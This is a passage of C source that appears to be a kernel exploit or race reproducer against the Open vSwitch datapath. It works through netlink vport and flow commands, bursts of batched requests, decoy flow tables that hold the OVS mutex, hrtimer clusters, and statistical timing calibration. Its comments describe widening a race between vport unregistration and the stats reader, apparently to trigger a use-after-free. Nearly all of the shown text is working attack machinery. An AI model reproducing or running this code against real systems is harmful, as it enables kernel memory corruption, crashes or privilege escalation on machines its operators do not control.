memcpy(stats, NLA_DATA(a), sizeof(*stats)); return 0; } } return -ENOENT; } static int vport_new_geneve(struct nl_sock *s, int fam_vport, int dp_ifindex, const char *name, uint16_t dst_port) { char req[BUF_SZ]; struct nlmsghdr *nlh = ovs_msg_init(req, sizeof(req), s, (uint16_t)fam_vport, NLM_F_REQUEST | NLM_F_ECHO, OVS_VPORT_CMD_NEW, OVS_VPORT_VERSION, dp_ifindex); struct nlattr *options; if (nla_put_u32(nlh, sizeof(req), OVS_VPORT_ATTR_TYPE, OVS_VPORT_TYPE_GENEVE) < 0 || nla_put_strz(nlh, sizeof(req), OVS_VPORT_ATTR_NAME, name) < 0 || nla_put_u32(nlh, sizeof(req), OVS_VPORT_ATTR_UPCALL_PID, s->portid) < 0) return -EMSGSIZE; options = nla_nest_start(nlh, sizeof(req), OVS_VPORT_ATTR_OPTIONS); if (!options || nla_put_u16(nlh, sizeof(req), OVS_TUNNEL_ATTR_DST_PORT, dst_port) < 0) return -EMSGSIZE; nla_nest_end(nlh, options); return nl_talk(s, nlh, 0, NULL, NULL); } static int vport_get_name(struct nl_sock *s, int fam_vport, int dp_ifindex, const char *name) { char req[BUF_SZ]; struct nlmsghdr *nlh = ovs_msg_init(req, sizeof(req), s, (uint16_t)fam_vport, NLM_F_REQUEST, OVS_VPORT_CMD_GET, OVS_VPORT_VERSION, dp_ifindex); if (nla_put_strz(nlh, sizeof(req), OVS_VPORT_ATTR_NAME, name) < 0) return -EMSGSIZE; return nl_talk(s, nlh, 0, NULL, NULL); } /* * Put many ordinary OVS_VPORT_CMD_GET requests in one netlink skb. The * generic-netlink receive loop handles each nlmsghdr synchronously in the * sendmsg() task, so one CPU-0 hrtimer has hundreds of chances to interrupt * the native lookup -> ovs_vport_get_stats() reader. No diagnostic delay or * replacement sink is used: every request follows the stock command path. */ static int vport_get_burst_send(struct nl_sock *s, int fam_vport, int dp_ifindex, const char *name, unsigned int count) { unsigned char req[BUF_SZ]; size_t used = 0; unsigned int i; struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; struct iovec iov; struct msghdr msg = { .msg_name = &nladdr, .msg_namelen = sizeof(nladdr), .msg_iov = &iov, .msg_iovlen = 1, }; for (i = 0; i < count; i++) { unsigned char one[128]; struct nlmsghdr *nlh = ovs_msg_init( (char *)one, sizeof(one), s, (uint16_t)fam_vport, NLM_F_REQUEST, OVS_VPORT_CMD_GET, OVS_VPORT_VERSION, dp_ifindex); size_t message_len; if (nla_put_strz(nlh, sizeof(one), OVS_VPORT_ATTR_NAME, name) < 0) return -EMSGSIZE; message_len = NLMSG_ALIGN(nlh->nlmsg_len); if (used + message_len > sizeof(req)) return -EMSGSIZE; memcpy(req + used, one, message_len); used += message_len; } iov.iov_base = req; iov.iov_len = used; if (sendmsg(s->fd, &msg, 0) < 0) return -errno; return 0; } static int vport_get_port_no(struct nl_sock *s, int fam_vport, int dp_ifindex, const char *name, uint32_t *port_no) { char req[BUF_SZ]; char rep[BUF_SZ]; struct nlmsghdr *nlh = ovs_msg_init(req, sizeof(req), s, (uint16_t)fam_vport, NLM_F_REQUEST, OVS_VPORT_CMD_GET, OVS_VPORT_VERSION, dp_ifindex); struct nlmsghdr *rnlh; struct genlmsghdr *rg; struct nlattr *a; size_t replen = sizeof(rep); int rem; int r; if (nla_put_strz(nlh, sizeof(req), OVS_VPORT_ATTR_NAME, name) < 0) return -EMSGSIZE; r = nl_talk(s, nlh, 0, rep, &replen); if (r) return r; rnlh = (struct nlmsghdr *)rep; rg = (struct genlmsghdr *)NLMSG_DATA(rnlh); rem = (int)rnlh->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN - (int)sizeof(struct ovs_header); a = (struct nlattr *)((char *)rg + GENL_HDRLEN + sizeof(struct ovs_header)); for (; NLA_OK(a, rem); a = NLA_NEXT(a, rem)) { if ((a->nla_type & NLA_TYPE_MASK) == OVS_VPORT_ATTR_PORT_NO && a->nla_len >= NLA_HDRLEN + (int)sizeof(*port_no)) { memcpy(port_no, NLA_DATA(a), sizeof(*port_no)); return 0; } } return -ENOENT; } static int rtnl_set_up(struct nl_sock *rts, int ifindex) { char req[BUF_SZ]; struct nlmsghdr *nlh; struct ifinfomsg *ifi; memset(req, 0, sizeof(req)); nlh = (struct nlmsghdr *)req; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); nlh->nlmsg_type = RTM_NEWLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = ++rts->seq; ifi = (struct ifinfomsg *)NLMSG_DATA(nlh); ifi->ifi_family = AF_UNSPEC; ifi->ifi_index = ifindex; ifi->ifi_flags = IFF_UP; ifi->ifi_change = IFF_UP; return nl_talk(rts, nlh, 1, NULL, NULL); } static int rtnl_set_down(struct nl_sock *rts, int ifindex) { char req[BUF_SZ]; struct nlmsghdr *nlh; struct ifinfomsg *ifi; memset(req, 0, sizeof(req)); nlh = (struct nlmsghdr *)req; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); nlh->nlmsg_type = RTM_NEWLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = ++rts->seq; ifi = (struct ifinfomsg *)NLMSG_DATA(nlh); ifi->ifi_family = AF_UNSPEC; ifi->ifi_index = ifindex; ifi->ifi_flags = 0; ifi->ifi_change = IFF_UP; return nl_talk(rts, nlh, 1, NULL, NULL); } static int rtnl_set_mtu(struct nl_sock *rts, int ifindex, uint32_t mtu) { char req[BUF_SZ]; struct nlmsghdr *nlh; struct ifinfomsg *ifi; memset(req, 0, sizeof(req)); nlh = (struct nlmsghdr *)req; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); nlh->nlmsg_type = RTM_NEWLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = ++rts->seq; ifi = (struct ifinfomsg *)NLMSG_DATA(nlh); ifi->ifi_family = AF_UNSPEC; ifi->ifi_index = ifindex; if (nla_put_u32(nlh, sizeof(req), IFLA_MTU, mtu) < 0) return -EMSGSIZE; return nl_talk(rts, nlh, 1, NULL, NULL); } /* A no-op RTM_SETLINK still takes the exact target's global RTNL mutex in * rtnl_setlink()->rtnl_nets_lock(), but does not alter the selected device or * emit link multicast traffic. */ static int rtnl_noop_setlink(struct nl_sock *rts, int ifindex) { char req[BUF_SZ]; struct nlmsghdr *nlh; struct ifinfomsg *ifi; memset(req, 0, sizeof(req)); nlh = (struct nlmsghdr *)req; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi)); nlh->nlmsg_type = RTM_SETLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = ++rts->seq; ifi = (struct ifinfomsg *)NLMSG_DATA(nlh); ifi->ifi_family = AF_UNSPEC; ifi->ifi_index = ifindex; return nl_talk(rts, nlh, 1, NULL, NULL); } static int rtnl_set_group(struct nl_sock *rts, int ifindex, uint32_t group) { char req[BUF_SZ]; struct nlmsghdr *nlh; struct ifinfomsg *ifi; memset(req, 0, sizeof(req)); nlh = (struct nlmsghdr *)req; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); nlh->nlmsg_type = RTM_NEWLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = ++rts->seq; ifi = (struct ifinfomsg *)NLMSG_DATA(nlh); ifi->ifi_family = AF_UNSPEC; ifi->ifi_index = ifindex; if (nla_put_u32(nlh, sizeof(req), IFLA_GROUP, group) < 0) return -EMSGSIZE; return nl_talk(rts, nlh, 1, NULL, NULL); } static uint16_t ip_checksum(const void *data, size_t len); /* Install or atomically replace the one wildcard flow used by the timed * internal-netdev packet. OVS_FLOW_CMD_NEW without CREATE/EXCL updates an * existing exact match on this target, so setup and every generation share * one validation path. The first prefix_actions use guaranteed SAMPLEs to * an absent port; every remaining action uses target_port and * target_probability. Calibration sets that tail to probability zero, * while a race generation replaces the same tail with live metadata hits. * No action parsing/allocation remains in the timed AF_PACKET send. */ static int flow_program_egress(struct nl_sock *s, int fam_flow, int dp_ifindex, uint32_t target_port, uint32_t target_probability, unsigned int prefix_actions) { char req[BUF_SZ]; struct nlmsghdr *nlh = ovs_msg_init(req, sizeof(req), s, (uint16_t)fam_flow, NLM_F_REQUEST | NLM_F_ACK, OVS_FLOW_CMD_NEW, OVS_FLOW_VERSION, dp_ifindex); struct ovs_key_ethernet eth = {0}; struct ovs_key_ethernet eth_mask = {0}; struct ovs_key_ipv4 ipv4 = { .ipv4_proto = IPPROTO_UDP, .ipv4_frag = OVS_FRAG_TYPE_NONE, }; struct ovs_key_ipv4 ipv4_mask = { .ipv4_proto = 0xff, }; struct ovs_key_udp udp = {0}; struct ovs_key_udp udp_mask = {0}; struct nlattr *nest; uint32_t in_port = OVSP_LOCAL; uint32_t in_port_mask = 0xffffffffU; uint32_t pid = UINT32_MAX; uint64_t tun_id = htobe64(0x1122334455667788ULL); uint32_t tun_src = 0; uint32_t tun_dst = htonl(0x7f000001U); uint8_t tun_tos = 0; uint8_t tun_ttl = 64; uint8_t geneve_opts[TUN_OPT_BYTES]; uint16_t eth_type = htons(ETH_P_IP); uint16_t eth_type_mask = htons(0xffff); int j; if (prefix_actions > EGRESS_METADATA_ACTIONS) return -EINVAL; nest = nla_nest_start(nlh, sizeof(req), OVS_FLOW_ATTR_KEY); if (!nest || nla_put_u32(nlh, sizeof(req), OVS_KEY_ATTR_IN_PORT, in_port) < 0 || nla_put(nlh, sizeof(req), OVS_KEY_ATTR_ETHERNET, ð, sizeof(eth)) < 0 || nla_put_u16(nlh, sizeof(req), OVS_KEY_ATTR_ETHERTYPE, eth_type) < 0 || nla_put(nlh, sizeof(req), OVS_KEY_ATTR_IPV4, &ipv4, sizeof(ipv4)) < 0 || nla_put(nlh, sizeof(req), OVS_KEY_ATTR_UDP, &udp, sizeof(udp)) < 0) return -EMSGSIZE; nla_nest_end(nlh, nest); nest = nla_nest_start(nlh, sizeof(req), OVS_FLOW_ATTR_MASK); if (!nest || nla_put_u32(nlh, sizeof(req), OVS_KEY_ATTR_IN_PORT, in_port_mask) < 0 || nla_put(nlh, sizeof(req), OVS_KEY_ATTR_ETHERNET, ð_mask, sizeof(eth_mask)) < 0 || nla_put_u16(nlh, sizeof(req), OVS_KEY_ATTR_ETHERTYPE, eth_type_mask) < 0 || nla_put(nlh, sizeof(req), OVS_KEY_ATTR_IPV4, &ipv4_mask, sizeof(ipv4_mask)) < 0 || nla_put(nlh, sizeof(req), OVS_KEY_ATTR_UDP, &udp_mask, sizeof(udp_mask)) < 0) return -EMSGSIZE; nla_nest_end(nlh, nest); nest = nla_nest_start(nlh, sizeof(req), OVS_FLOW_ATTR_ACTIONS); if (!nest) return -EMSGSIZE; memset(geneve_opts, 0, sizeof(geneve_opts)); geneve_opts[2] = 1; geneve_opts[3] = 31; geneve_opts[128 + 2] = 2; geneve_opts[128 + 3] = 30; { struct nlattr *set = nla_nest_start(nlh, sizeof(req), OVS_ACTION_ATTR_SET); struct nlattr *tun = nla_nest_start(nlh, sizeof(req), OVS_KEY_ATTR_TUNNEL); if (!set || !tun || nla_put(nlh, sizeof(req), OVS_TUNNEL_KEY_ATTR_ID, &tun_id, sizeof(tun_id)) < 0 || nla_put(nlh, sizeof(req), OVS_TUNNEL_KEY_ATTR_IPV4_SRC, &tun_src, sizeof(tun_src)) < 0 || nla_put(nlh, sizeof(req), OVS_TUNNEL_KEY_ATTR_IPV4_DST, &tun_dst, sizeof(tun_dst)) < 0 || nla_put(nlh, sizeof(req), OVS_TUNNEL_KEY_ATTR_TOS, &tun_tos, sizeof(tun_tos)) < 0 || nla_put(nlh, sizeof(req), OVS_TUNNEL_KEY_ATTR_TTL, &tun_ttl, sizeof(tun_ttl)) < 0 || nla_put(nlh, sizeof(req), OVS_TUNNEL_KEY_ATTR_GENEVE_OPTS, geneve_opts, sizeof(geneve_opts)) < 0) return -EMSGSIZE; nla_nest_end(nlh, tun); nla_nest_end(nlh, set); } for (j = 0; j < EGRESS_METADATA_ACTIONS; j++) { struct nlattr *sample = nla_nest_start(nlh, sizeof(req), OVS_ACTION_ATTR_SAMPLE); struct nlattr *sample_actions; struct nlattr *userspace; uint32_t probability = (unsigned int)j < prefix_actions ? UINT32_MAX : target_probability; uint32_t output_port = (unsigned int)j < prefix_actions ? FLOW_ABSENT_PORT : target_port; if (!sample || nla_put_u32(nlh, sizeof(req), OVS_SAMPLE_ATTR_PROBABILITY, probability) < 0) return -EMSGSIZE; sample_actions = nla_nest_start(nlh, sizeof(req), OVS_SAMPLE_ATTR_ACTIONS); userspace = nla_nest_start(nlh, sizeof(req), OVS_ACTION_ATTR_USERSPACE); if (!sample_actions || !userspace || nla_put_u32(nlh, sizeof(req), OVS_USERSPACE_ATTR_PID, pid) < 0 || nla_put_u32(nlh, sizeof(req), OVS_USERSPACE_ATTR_EGRESS_TUN_PORT, output_port) < 0) return -EMSGSIZE; nla_nest_end(nlh, userspace); nla_nest_end(nlh, sample_actions); nla_nest_end(nlh, sample); } nla_nest_end(nlh, nest); return nl_talk(s, nlh, 1, NULL, NULL); } /* Populate a separate datapath with distinct drop flows. Flushing that * table performs one table_instance_flow_free()/call_rcu() pair per flow * while holding the global OVS mutex. The target notifier worker therefore * cannot remove the already-unregistered target vport until the flush ends. */ static int flow_program_decoy(struct nl_sock *s, int fam_flow, int dp_ifindex, uint32_t id) { char req[1024]; struct nlmsghdr *nlh = ovs_msg_init(req, sizeof(req), s, (uint16_t)fam_flow, NLM_F_REQUEST | NLM_F_ACK, OVS_FLOW_CMD_NEW, OVS_FLOW_VERSION, dp_ifindex); struct ovs_key_ethernet eth = {0}; struct ovs_key_ethernet eth_mask = {0}; struct ovs_key_ipv4 ipv4 = { .ipv4_src = htonl(id), .ipv4_proto = IPPROTO_UDP, .ipv4_frag = OVS_FRAG_TYPE_NONE, }; struct ovs_key_ipv4 ipv4_mask = { .ipv4_src = UINT32_MAX, .ipv4_proto = 0xff, .ipv4_frag = 0xff, }; struct ovs_key_udp udp = {0}; struct ovs_key_udp udp_mask = {0}; struct nlattr *nest; uint32_t in_port = OVSP_LOCAL; uint32_t in_port_mask = UINT32_MAX; uint16_t eth_type = htons(ETH_P_IP); uint16_t eth_type_mask = htons(0xffff); nest = nla_nest_start(nlh, sizeof(req), OVS_FLOW_ATTR_KEY); if (!nest || nla_put_u32(nlh, sizeof(req), OVS_KEY_ATTR_IN_PORT, in_port) < 0 || nla_put(nlh, sizeof(req), OVS_KEY_ATTR_ETHERNET, ð, sizeof(eth)) < 0 || nla_put_u16(nlh, sizeof(req), OVS_KEY_ATTR_ETHERTYPE, eth_type) < 0 || nla_put(nlh, sizeof(req), OVS_KEY_ATTR_IPV4, &ipv4, sizeof(ipv4)) < 0 || nla_put(nlh, sizeof(req), OVS_KEY_ATTR_UDP, &udp, sizeof(udp)) < 0) return -EMSGSIZE; nla_nest_end(nlh, nest); nest = nla_nest_start(nlh, sizeof(req), OVS_FLOW_ATTR_MASK); if (!nest || nla_put_u32(nlh, sizeof(req), OVS_KEY_ATTR_IN_PORT, in_port_mask) < 0 || nla_put(nlh, sizeof(req), OVS_KEY_ATTR_ETHERNET, ð_mask, sizeof(eth_mask)) < 0 || nla_put_u16(nlh, sizeof(req), OVS_KEY_ATTR_ETHERTYPE, eth_type_mask) < 0 || nla_put(nlh, sizeof(req), OVS_KEY_ATTR_IPV4, &ipv4_mask, sizeof(ipv4_mask)) < 0 || nla_put(nlh, sizeof(req), OVS_KEY_ATTR_UDP, &udp_mask, sizeof(udp_mask)) < 0) return -EMSGSIZE; nla_nest_end(nlh, nest); nest = nla_nest_start(nlh, sizeof(req), OVS_FLOW_ATTR_ACTIONS); if (!nest) return -EMSGSIZE; nla_nest_end(nlh, nest); return nl_talk(s, nlh, 1, NULL, NULL); } static int flow_flush_all(struct nl_sock *s, int fam_flow, int dp_ifindex) { char req[256]; struct nlmsghdr *nlh = ovs_msg_init(req, sizeof(req), s, (uint16_t)fam_flow, NLM_F_REQUEST | NLM_F_ACK, OVS_FLOW_CMD_DEL, OVS_FLOW_VERSION, dp_ifindex); return nl_talk(s, nlh, 1, NULL, NULL); } /* * The gate is armed before group RTM_DELLINK, but it does not queue its own * RTNL request until SIOCGIFINDEX observes that the target name disappeared. * SIOCGIFINDEX performs an RCU-only lookup, so it cannot itself wait on RTNL. * The disappearance is published by unlist_netdevice() while the group writer * holds RTNL, before either unregister synchronize_net(). A no-op RTM_SETLINK * issued after that observation is therefore necessarily queued behind the * writer. Its completion is after unregister_netdevice_many()'s second * synchronize_net() and the rtnl_unlock()->netdev_run_todo() handoff. */ static int wait_for_postsync_gate(unsigned int generation, uint64_t target, uint64_t *event_ns) { while (!stop_flag) { unsigned int done = __atomic_load_n(&writer_release_generation, __ATOMIC_ACQUIRE); if (done == generation) { *event_ns = __atomic_load_n(&writer_release_event_ns, __ATOMIC_ACQUIRE); return 0; } if (monotonic_ns() > target + POSTSYNC_GATE_DEADLINE_NS) return -ETIMEDOUT; (void)futex_wait_u32_timed(&writer_release_generation, done); } return -ECANCELED; } static int arm_postsync_timer_cluster(uint64_t packet_lead_ns, uint64_t *target_ns, uint64_t *arming_ns) { struct itimerspec its = {0}; uint64_t target; uint64_t start; uint64_t end; int i; if (!__atomic_load_n(&timer_cluster_ready, __ATOMIC_ACQUIRE)) return -EAGAIN; /* Clear the preceding one-shot edge before installing the next one. */ for (i = 0; i < TIMER_CLUSTER_FDS; i++) { uint64_t ticks; while (read(timer_cluster_fds[i], &ticks, sizeof(ticks)) == (ssize_t)sizeof(ticks)) ; } start = monotonic_ns(); target = start + TIMER_CLUSTER_ARM_NS; its.it_value.tv_sec = (time_t)(target / UINT64_C(1000000000)); its.it_value.tv_nsec = (long)(target % UINT64_C(1000000000)); for (i = 0; i < TIMER_CLUSTER_FDS; i++) { if (timerfd_settime(timer_cluster_fds[i], TFD_TIMER_ABSTIME, &its, NULL) < 0) return -errno; } end = monotonic_ns(); *target_ns = target; *arming_ns = end - start; __atomic_store_n(&timer_first_ns, target, __ATOMIC_RELEASE); /* A slow arming cycle is skipped instead of entering after the hardirq. * packet_lead_ns comes from the internal-flow calibration performed * before any unregister/reclaim race begins. */ if (end + packet_lead_ns >= target) return -ETIME; return 0; } enum flow_calibration_mode { FLOW_CAL_BASELINE, FLOW_CAL_PREFIX_32, FLOW_CAL_PREFIX_64, FLOW_CAL_PREFIX_96, FLOW_CAL_CLONE_MISS, FLOW_CAL_METADATA_HIT, FLOW_CAL_MODES, }; static int compare_u64(const void *lhs, const void *rhs) { const uint64_t a = *(const uint64_t *)lhs; const uint64_t b = *(const uint64_t *)rhs; return (a > b) - (a < b); } static int compare_i64(const void *lhs, const void *rhs) { const int64_t a = *(const int64_t *)lhs; const int64_t b = *(const int64_t *)rhs; return (a > b) - (a < b); } static uint64_t midpoint_u64(uint64_t a, uint64_t b) { return a / 2 + b / 2 + ((a & 1U) + (b & 1U)) / 2; } /* Sorting is confined to observations of one named mode (or one named * adjacent-mode contrast) to obtain its sample median. Phase identities * are never reordered, clamped, or repaired. */ static uint64_t median_cal_blocks_u64( const uint64_t values[FLOW_CAL_BLOCKS]) { uint64_t ordered[FLOW_CAL_BLOCKS]; memcpy(ordered, values, sizeof(ordered)); qsort(ordered, FLOW_CAL_BLOCKS, sizeof(ordered[0]), compare_u64); return ordered[FLOW_CAL_BLOCKS / 2]; } static int64_t median_cal_blocks_i64( const int64_t values[FLOW_CAL_BLOCKS]) { int64_t ordered[FLOW_CAL_BLOCKS]; memcpy(ordered, values, sizeof(ordered)); qsort(ordered, FLOW_CAL_BLOCKS, sizeof(ordered[0]), compare_i64); return ordered[FLOW_CAL_BLOCKS / 2]; } static int signed_delta_u64(uint64_t newer, uint64_t older, int64_t *delta) { uint64_t magnitude; if (newer >= older) { magnitude = newer - older; if (magnitude > (uint64_t)INT64_MAX) return -ERANGE; *delta = (int64_t)magnitude; } else { magnitude = older - newer; if (magnitude > (uint64_t)INT64_MAX) return -ERANGE; *delta = -(int64_t)magnitude; } return 0; } static void build_test_frame(uint8_t frame[TEST_FRAME_LEN], uint32_t packet_id) { struct ethhdr *eth = (struct ethhdr *)frame; struct iphdr *ip = (struct iphdr *)(frame + ETH_HLEN); struct udphdr *udp = (struct udphdr *)(ip + 1); memset(frame, 0, TEST_FRAME_LEN); memset(eth->h_dest, 0x11, ETH_ALEN); memset(eth->h_source, 0x22, ETH_ALEN); eth->h_proto = htons(ETH_P_IP); ip->version = 4; ip->ihl = 5; ip->tot_len = htons(TEST_FRAME_LEN - ETH_HLEN); ip->ttl = 64; ip->protocol = IPPROTO_UDP; ip->id = htons((uint16_t)packet_id); ip->saddr = htonl(0x0b000001U); ip->daddr = htonl(0x0b000002U); ip->check = ip_checksum(ip, sizeof(*ip)); udp->source = htons((uint16_t)(1024U + (packet_id & 0x7fffU))); udp->dest = htons(31337); udp->len = htons(TEST_FRAME_LEN - ETH_HLEN - sizeof(*ip)); } static int packet_open_internal(int dp_ifindex, int *bypass_enabled) { struct sockaddr_ll addr = { .sll_family = AF_PACKET, .sll_protocol = htons(ETH_P_IP), .sll_ifindex = dp_ifindex, }; int one = 1; int fd; fd = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_IP)); if (fd < 0) return -errno; *bypass_enabled = 0; if (setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one)) == 0) *bypass_enabled = 1; if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { int e = -errno; close(fd); return e; } return fd; } static int packet_send_internal(int fd, const uint8_t frame[TEST_FRAME_LEN], uint64_t *duration_ns) { uint64_t start = monotonic_ns(); ssize_t n = send(fd, frame, TEST_FRAME_LEN, MSG_NOSIGNAL); uint64_t end = monotonic_ns(); if (duration_ns) *duration_ns = end - start; if (n < 0) return -errno; if (n != TEST_FRAME_LEN) return -EIO; return 0; } /* A waiter increments resident immediately before poll(), so two adjacent * samples do not prove that its 512 wait entries are installed. After every * one-shot, V77 requires the complete resident set and poll-return count to * remain unchanged for five milliseconds (at least five 1-ms observations). * The ordinary-policy/nice-19 state is still read from the current thread's * proc stat record rather than through sched_getscheduler(), which returns * ENOSYS in the stock static-musl sandbox. */ static int wait_for_timer_residency(unsigned int generation) { uint64_t start = monotonic_ns(); uint64_t stable_start = 0; unsigned long long stable_returns = 0; unsigned int phase = phase_for_generation(generation); while (!stop_flag) { uint64_t now = monotonic_ns(); unsigned long long returns = __atomic_load_n(&poll_wait_returns, __ATOMIC_ACQUIRE); int resident = __atomic_load_n(&poll_waiters_resident, __ATOMIC_ACQUIRE); if (resident == TIMER_POLL_WAITERS) { if (!stable_start || returns != stable_returns) { stable_start = now; stable_returns = returns; } if (now - stable_start >= TIMER_REARM_STABLE_NS) { uint64_t waited = now - start; __sync_fetch_and_add(&timer_residency_checks, 1); __sync_fetch_and_add(&timer_residency_wait_ns, waited); fprintf(stderr, "TIMER_RESIDENCY_READY generation=%u phase=%u phase_name=%s resident=%d required=%d stable_ns=%llu wait_ns=%llu poll_returns=%llu poll_errors=%llu policy_ok=%u policy_errors=%u\n", generation, phase, flow_phase_names[phase], resident, TIMER_POLL_WAITERS, (unsigned long long)(now - stable_start), (unsigned long long)waited, __atomic_load_n(&poll_wait_returns, __ATOMIC_RELAXED), __atomic_load_n(&poll_wait_errors, __ATOMIC_RELAXED), __atomic_load_n(&poll_waiter_policy_ok, __ATOMIC_RELAXED), __atomic_load_n(&poll_waiter_policy_errors, __ATOMIC_RELAXED)); return 0; } } else { stable_start = 0; } if (now - start > TIMER_REARM_DEADLINE_NS) { uint64_t waited = now - start; __sync_fetch_and_add(&timer_residency_timeouts, 1); __sync_fetch_and_add(&timer_residency_wait_ns, waited); fprintf(stderr, "TIMER_RESIDENCY_TIMEOUT generation=%u phase=%u phase_name=%s resident=%d required=%d stable_ns=%llu wait_ns=%llu poll_returns=%llu poll_errors=%llu policy_ok=%u policy_errors=%u\n", generation, phase, flow_phase_names[phase], resident, TIMER_POLL_WAITERS, (unsigned long long)(stable_start ? now - stable_start : 0), (unsigned long long)waited, __atomic_load_n(&poll_wait_returns, __ATOMIC_RELAXED), __atomic_load_n(&poll_wait_errors, __ATOMIC_RELAXED), __atomic_load_n(&poll_waiter_policy_ok, __ATOMIC_RELAXED), __atomic_load_n(&poll_waiter_policy_errors, __ATOMIC_RELAXED)); return -ETIMEDOUT; } usleep(TIMER_REARM_SAMPLE_US); } return -ECANCELED; } static enum flow_calibration_mode flow_calibration_order( unsigned int block, unsigned int direction, unsigned int position) { unsigned int start = block % FLOW_CAL_MODES; unsigned int mode; if (direction == 0) mode = (start + position) % FLOW_CAL_MODES; else mode = (start + FLOW_CAL_MODES - 1U - position) % FLOW_CAL_MODES; return (enum flow_calibration_mode)mode; } static int flow_calibration_sample(struct nl_sock *ovs, struct shared *sh, int fd, uint32_t live_port, enum flow_calibration_mode mode, uint32_t *packet_id, uint64_t *duration_ns) { uint32_t probability = mode >= FLOW_CAL_CLONE_MISS ? UINT32_MAX : 0; uint32_t port = mode == FLOW_CAL_METADATA_HIT ? live_port : FLOW_ABSENT_PORT; uint8_t frame[TEST_FRAME_LEN]; int r; r = flow_program_egress(ovs, sh->fam_flow, sh->dp_ifindex, port, probability, mode < FLOW_SWEEP_PHASES ? flow_cal_prefix_actions[mode] : 0); if (r) return r; /* The race has a millisecond-scale gap between flow replacement and the * timed packet. V70 measured the first packet immediately after the * netlink update, so update-adjacent latency was mixed into the small * adjacent-prefix differences. This fixed settling interval is outside * the measured send and is applied identically to every mode. */ usleep(FLOW_CAL_SETTLE_US); build_test_frame(frame, (*packet_id)++); r = packet_send_internal(fd, frame, duration_ns); if (r) return r; if (mode == FLOW_CAL_METADATA_HIT) usleep(FLOW_CAL_METADATA_QUIET_US); return 0; } /* Measure the exact preinstalled-flow injection path before the race. Every * action list remains exactly 256 SAMPLE/USERSPACE actions. Each block runs * all six named controls once in a rotated forward order and once in the * exact reverse order. Their midpoint cancels first-order position drift; * the median of 15 independently named block midpoints estimates the true * completion time. Raw samples remain logged in acquisition order. * * Monotonicity is evidence, never construction: every adjacent prefix must * have an independently positive paired-difference median and at least ten * positive blocks, and the separately estimated mode medians must themselves * be strictly ordered. Any ambiguous transition rejects the run. */ static int calibrate_internal_flow(struct nl_sock *ovs, struct shared *sh, uint32_t live_port) { static const char *const names[FLOW_CAL_MODES] = { "prefix_0", "prefix_32", "prefix_64", "prefix_96", "clone_miss", "metadata_hit" }; uint64_t raw[FLOW_CAL_MODES][FLOW_CAL_BLOCKS][FLOW_CAL_DIRECTIONS]; uint64_t block_midpoint[FLOW_CAL_MODES][FLOW_CAL_BLOCKS]; uint64_t estimate[FLOW_CAL_MODES]; uint32_t packet_id = UINT32_C(0xd2000000); int bypass_enabled = 0; int fd; int block; int direction; int position; int mode; int transition; int r; fd = packet_open_internal(sh->dp_ifindex, &bypass_enabled); if (fd < 0) return fd; fprintf(stderr, "FLOW_PHASE_READY dp=%d live_port=%u qdisc_bypass=%d blocks=%d directions=%d warmup_blocks=%d settle_us=%d actions=%d calibration_modes=%d sweep_phases=%d estimator=paired_forward_reverse_block_median\n", sh->dp_ifindex, live_port, bypass_enabled, FLOW_CAL_BLOCKS, FLOW_CAL_DIRECTIONS, FLOW_CAL_WARMUP_BLOCKS, FLOW_CAL_SETTLE_US, EGRESS_METADATA_ACTIONS, FLOW_CAL_MODES, FLOW_SWEEP_PHASES); sh->packet_qdisc_bypass = bypass_enabled; for (block = 0; block < FLOW_CAL_WARMUP_BLOCKS; block++) { for (direction = 0; direction < FLOW_CAL_DIRECTIONS; direction++) { for (position = 0; position < FLOW_CAL_MODES; position++) { enum flow_calibration_mode warmup_mode = flow_calibration_order((unsigned int)block, (unsigned int)direction, (unsigned int)position); uint64_t duration = 0; r = flow_calibration_sample(ovs, sh, fd, live_port, warmup_mode, &packet_id, &duration); if (r) goto out; fprintf(stderr, "FLOW_CAL_WARMUP block=%d direction=%d position=%d mode=%s send_ns=%llu\n", block, direction, position, names[warmup_mode], (unsigned long long)duration); } } } for (block = 0; block < FLOW_CAL_BLOCKS; block++) { for (direction = 0; direction < FLOW_CAL_DIRECTIONS; direction++) { for (position = 0; position < FLOW_CAL_MODES; position++) { enum flow_calibration_mode sample_mode = flow_calibration_order((unsigned int)block, (unsigned int)direction, (unsigned int)position); uint64_t duration = 0; r = flow_calibration_sample(ovs, sh, fd, live_port, sample_mode, &packet_id, &duration); if (r) goto out; raw[sample_mode][block][direction] = duration; fprintf(stderr, "FLOW_CAL_RAW block=%d direction=%d position=%d mode=%s send_ns=%llu\n", block, direction, position, names[sample_mode], (unsigned long long)duration); } } } for (mode = 0; mode < FLOW_CAL_MODES; mode++) { for (block = 0; block < FLOW_CAL_BLOCKS; block++) { block_midpoint[mode][block] = midpoint_u64( raw[mode][block][0], raw[mode][block][1]); fprintf(stderr, "FLOW_CAL_PAIR block=%d mode=%s forward_ns=%llu reverse_ns=%llu midpoint_ns=%llu\n", block, names[mode], (unsigned long long)raw[mode][block][0], (unsigned long long)raw[mode][block][1], (unsigned long long)block_midpoint[mode][block]); } estimate[mode] = median_cal_blocks_u64(block_midpoint[mode]); fprintf(stderr, "FLOW_CAL_ESTIMATE mode=%s block_count=%d estimate_ns=%llu\n", names[mode], FLOW_CAL_BLOCKS, (unsigned long long)estimate[mode]); } for (transition = 1; transition < FLOW_CAL_MODES; transition++) { int64_t paired_delta[FLOW_CAL_BLOCKS]; int64_t delta_median; int positive = 0; for (block = 0; block < FLOW_CAL_BLOCKS; block++) { r = 